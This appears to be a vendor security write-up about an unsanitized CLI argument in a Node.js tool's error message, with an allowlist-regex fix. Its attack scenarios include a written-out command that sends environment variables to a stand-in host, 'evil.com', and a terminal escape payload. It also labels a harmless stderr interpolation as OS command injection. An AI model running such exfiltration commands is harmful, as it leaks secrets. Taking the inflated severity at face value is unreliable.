How Command Injection via Unsanitized CLI Arguments Happens in Node.js and How to Fix It

Introduction

The bin/vibe-to-ui.js file serves as the CLI entry point for the vibe-to-ui Node.js library, routing commands like context and inspiration to their respective handlers. However, a flaw on line 4—where process.argv[2] is captured as cmd and later interpolated directly into an error message—created a defensive gap that could be exploited by attackers who control command-line arguments.

At line 38 of the original code, the vulnerable pattern was clear:

console.error(`error: Unknown command "${cmd}". Use "context" or "inspiration".`);

The variable cmd could contain any string an attacker passes as a CLI argument—including special characters, escape sequences, or payloads designed to exploit downstream processing. For a Node.js library consumed by other packages, this means every downstream consumer inherits this vulnerability.

The Vulnerability Explained

The Vulnerable Code

Here's the original entry point logic in bin/vibe-to-ui.js:

#!/usr/bin/env node

const argv = process.argv;
const cmd = argv[2];

// ... command routing logic ...

if (cmd === 'context') {
  require('../lib/context').main(argv);
} else if (cmd === 'inspiration') {
  require('../lib/inspiration').main(argv);
} else {
  console.error(`error: Unknown command "${cmd}". Use "context" or "inspiration".`);
  process.exitCode = 1;
}

The problem is twofold:

1. No input validation: argv[2] is assigned directly to cmd without any character filtering, type checking, or length restriction.
2. Direct interpolation: The raw, unsanitized value is interpolated into a string template literal in the error message.

How Could This Be Exploited?

Consider these attack scenarios:

Scenario 1: Log Injection via CI/CD Pipeline

An attacker who compromises a CI/CD configuration or wrapper script could pass a crafted argument:

npx vibe-to-ui '$(curl http://evil.com/steal?data=$(env))'

While this won't execute in the current code path (no shell invocation), the unsanitized string is written to stderr. If logs are parsed by other tools that interpret shell metacharacters, this becomes a log injection vector.

Scenario 2: Terminal Escape Sequence Attack

npx vibe-to-ui $'\x1b]2;PWNED\x07'

Terminal escape sequences in the unsanitized output could manipulate the user's terminal title, inject fake prompts, or exploit terminal emulator vulnerabilities.

Scenario 3: Future Code Evolution Risk

If a developer later adds shell-based command execution (e.g., spawning a subprocess based on cmd), the lack of input validation becomes immediately exploitable for full command injection. This is a "latent vulnerability"—safe today, dangerous tomorrow.

Real-World Impact

Since vibe-to-ui is a Node.js library, every package that depends on it and invokes its CLI inherits this risk. The attack surface includes:
- CI/CD pipelines where arguments may come from environment variables
- Wrapper scripts that construct arguments from user input
- Development environments where .npmrc scripts or git hooks invoke the CLI

The Fix

The fix introduces a single but powerful line of defense at line 6:

const safeCmd = cmd ? String(cmd).replace(/[^\w./-]/g, '').slice(0, 80) : '';

Before vs. After

Before:

const argv = process.argv;
const cmd = argv[2];

// ... later in the error handler:
console.error(`error: Unknown command "${cmd}". Use "context" or "inspiration".`);

After:

const argv = process.argv;
const cmd = argv[2];
const safeCmd = cmd ? String(cmd).replace(/[^\w./-]/g, '').slice(0, 80) : '';

// ... later in the error handler:
console.error(`error: Unknown command "${safeCmd}". Use "context" or "inspiration".`);

How This Solves the Problem

The fix applies three layers of defense:

1. Type coercion (String(cmd)): Ensures the value is treated as a string regardless of what process.argv contains, preventing type confusion attacks.

2. Allowlist regex (/[^\w./-]/g): Strips everything except word characters (\w = [a-zA-Z0-9_]), dots, forward slashes, and hyphens. This eliminates:
   - Shell metacharacters ($, `, |, ;, &)
   - Escape sequences (\x1b, \n, \r)
   - Quotation marks that could break string contexts
   - Null bytes and other control characters

3. Length cap (.slice(0, 80)): Prevents buffer-based attacks and limits the blast radius of any bypass, ensuring even if a character slips through the regex, the payload is truncated.

The legitimate commands (context and inspiration) contain only word characters, so valid inputs pass through completely unchanged—preserving backward compatibility.

Key Takeaways

• process.argv[2] in bin/vibe-to-ui.js was used without any sanitization, creating a latent injection vector that could become exploitable as the codebase evolves.
• The regex /[^\w./-]/g is specifically chosen to permit only characters that valid subcommands (context, inspiration) and typical file paths would contain—nothing else.
• The 80-character .slice() cap is a secondary defense that limits payload size even if the regex is somehow bypassed in edge cases.
• Library CLI entry points are high-risk surfaces because downstream consumers inherit any input validation gaps, multiplying the attack surface across the ecosystem.
• Sanitizing error message output is just as important as sanitizing command execution input—log injection and terminal escape attacks are real threats in CI/CD environments.

How Orbis AppSec Detected This

• Source: process.argv[2] at bin/vibe-to-ui.js:5 — untrusted command-line input from the operating system environment
• Sink: Template literal interpolation at bin/vibe-to-ui.js:38 — console.error(\error: Unknown command "${cmd}"...`)`
• Missing control: No input validation, character filtering, or length restriction between source and sink
• CWE: CWE-78 (OS Command Injection) / CWE-20 (Improper Input Validation)
• Fix: Added allowlist regex sanitization (/[^\w./-]/g) and 80-character length cap to neutralize malicious characters before the input reaches any sink

Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.

Conclusion

This vulnerability in bin/vibe-to-ui.js demonstrates a critical principle in secure software development: every entry point that accepts external input must validate it immediately, regardless of how that input is currently used. The unsanitized process.argv[2] value was a ticking time bomb—safe in the current code path but one refactor away from becoming a full command injection vulnerability.

The fix is elegant in its simplicity: a single line that applies type coercion, allowlist filtering, and length restriction. It preserves all valid functionality while eliminating an entire class of attacks. For any developer building CLI tools in Node.js, this pattern—String(input).replace(/[^\w./-]/g, '').slice(0, maxLen)—should be a standard practice at every argument boundary.